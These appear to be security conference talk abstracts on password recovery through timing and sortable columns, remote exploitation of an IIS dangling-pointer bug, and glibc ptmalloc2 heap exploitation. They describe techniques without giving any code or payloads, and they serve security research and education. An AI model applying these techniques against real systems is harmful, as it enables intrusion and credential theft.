During the last year we managed to find multiple cases where bastardized timing attacks managed to save our hides. This in turn led to us weaponising a few tools which (along with a new propensity for timing everything) helped us spot even more fun to be had timing things. The talk will cover these attacks and the tools, but will go further, exploring some of the attack possibilities open when we start to look at vectors other than just making small strings bigger. In a world where vendors are (finally) realizing the necessity of fuzzing their code before releasing it the next round of the game will be won by the people watching for subtler attacks, taking us back to the 80's with timing attacks, race conditions and plain old logical flaws separating the men from the boys. The more things change, the more they stay the same

Last year we were startled at finding that certain content management systems list the subscribers of their forums in a two column table, where one represents user login and the other column represent their passwords. The surprising fact was that, although passwords where printed as 6 asterisks, the CMS had a cool feature that allowed you to order the column alphabetically according to user name or password. This translates in a divide–and–conquer attack that allows you to recover the password for any user.

This lead us to think that database engines might also be indexing tables by each of their columns, and while the cool feature of printing out this reindexed lists to attacker are not typically available, they were not necessary if we could build a timing attack to provide this data. Developing this exploit was not that easy. That is what made the experience so interesting.

Just another day at the office started with scanning a web site with a vulnerability scanner. The scan resulted in an unexpected crash in a Microsoft IIS server.

This discovery was really exciting—a crash might mean a new IIS vulnerability. Deeper research concluded that we were facing a “dangling pointer bug” and that it could be remotely exploitable for arbitrary code execution.

After a while, an already published advisory of this bug was found on the net. It said that this was a DoS vulnerability and that it couldn’t be exploited for remote code execution. We thought differently.

I started researching, looking for good exploit implementation and information resources about dangling pointers. I felt that such a resource was missing and that there seemed to be a big misconception regarding the importance and impact of dangling pointer bugs.

In this presentation, I will discuss dangling pointer bugs. How they are created, their implications and how they can be exploited for remote arbitrary code execution. I will also discuss recent defense mechanisms meant to block classical vulnerabilities exploits and their slim relevancy to Dangling Pointer bugs.

I will dive into specific implementation details of C++ compilers and windows heap structure and present it all on top of the IIS vulnerability example. I will also explain why this bug is commonly misunderstood and will try to answer questions that are currently unanswered, as there is no informative reading material currently or easily available.

I will conclude with a warning— don’t leave this bug dangling as it is just as dangerous as Buffer Overflows.

Traditional exploitation techniques of overwriting heap metadata has been discussed ad-nauseum, however due to this common perspective the flexibility in abuse of the heap is commonly overlooked. This presentation examines a flaw that was found in several popular open-source applications as a method for exploring heap structure exploitation and hopefully providing a gateway to understanding the true beauty of data structure exploitation.

This focuses on the dynamic memory management implementation provided by the GNU C library, particularly ptmalloc2 and presents methods for evading certain sanity checks in the library along with previously unpublished methods for obtaining control.